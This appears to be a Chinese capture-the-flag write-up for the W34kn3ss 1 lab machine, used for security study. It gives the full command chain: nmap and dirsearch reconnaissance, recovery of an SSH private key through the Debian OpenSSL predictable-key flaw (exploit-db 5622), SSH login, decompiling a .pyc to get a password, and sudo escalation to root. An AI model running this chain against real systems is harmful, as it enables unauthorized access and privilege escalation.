W34kn3ss 1靶机

信息收集

靶机扫描

nmap 192.168.93.0/24

打开端口为22、80、443

网址访问

目录扫描

dirsearch -u http://192.168.93.162

在网址后面拼接扫到的目录，在/test目录下发现信息

提示信息和密钥有关

各处看了一下，好像没有什么信息了，就只剩22、443端口了，查看443端口，

页面访问443端口，会提示用https服务，会出现和80端口一样的页面，进行目录扫描

把weakness.jth加入到hosts里面

网址进行访问http://weakness.jth，访问是空白页面的话，换一个浏览器就可以了

进行目录扫描

访问目录http://weakness.jth/private/

打开notes.txt文件，大概意思是：此密钥由openssl0.9.8c-1生成

打开mykey.pub,是base64编码的ssh公钥，在在线解码器里面没有解出来，应该需要借助工具

然后是用kali工具进行漏洞搜索

searchsploit openssl 0.9.8c-1

searchsploit -m 5622
cat 5622.txt

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2

通过上面的地址进行文件下载，在kali里面进行解压

tar -xvjf 5622.tar.bz2

解压之后，进到文件目录里面，输入以下命令进行破解前面的base64编码

grep -r -l "AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMOfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu0O0QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw=="

现在使用公钥ssh登录，用户名：n30

ssh -i 4161de56829de2fe64b9055711f531c1-2537 n30@192.168.93.162

翻看目录文件，有一个user.txt。进行查看

当我们检查代码的文件类型时，发现是一个python编译的文件，把它复制到/var/www/html，就可以在系统上下载这个文件了。

file code
cp code /var/www/html

开个服务，进行下载

对这个文件进行重命名

改名为code.pyc，然后用uncompyle6反编译之后获得密码

获得密码

Username：n30
Password：dMASDNB!!#B!#!#33

sudo -l

发现所有用户都有sudo权限，直接sudo su

提权成功

查看文件